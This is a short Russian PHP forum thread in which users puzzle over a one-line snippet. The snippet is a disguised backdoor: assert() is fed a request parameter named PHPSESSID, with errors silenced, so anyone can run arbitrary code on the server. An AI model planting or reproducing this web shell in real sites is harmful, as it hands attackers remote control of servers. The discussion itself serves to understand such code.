Форум PHP

<? define('PHPSESSID',@assert($_REQUEST['PHPSESSID'])) or phpinfo(); ?>

Интересная вещь, совершенно непонятно, как это чудо работает. Определяем константу PHPSESSID, глушим ошибки (@), assert() проверяет заданное утверждение, $_REQUEST - массив, в котором можно передавать GET/POST-данные. Вопрос только, что берет? Значение в адресной строке браузера куда передает?

Есть такой массив $_REQUEST['PHPSESSID'] или можно было по-любому задать $_REQUEST['Exmpl']?

Ммм... а вредоносный код где?

Замаскирован )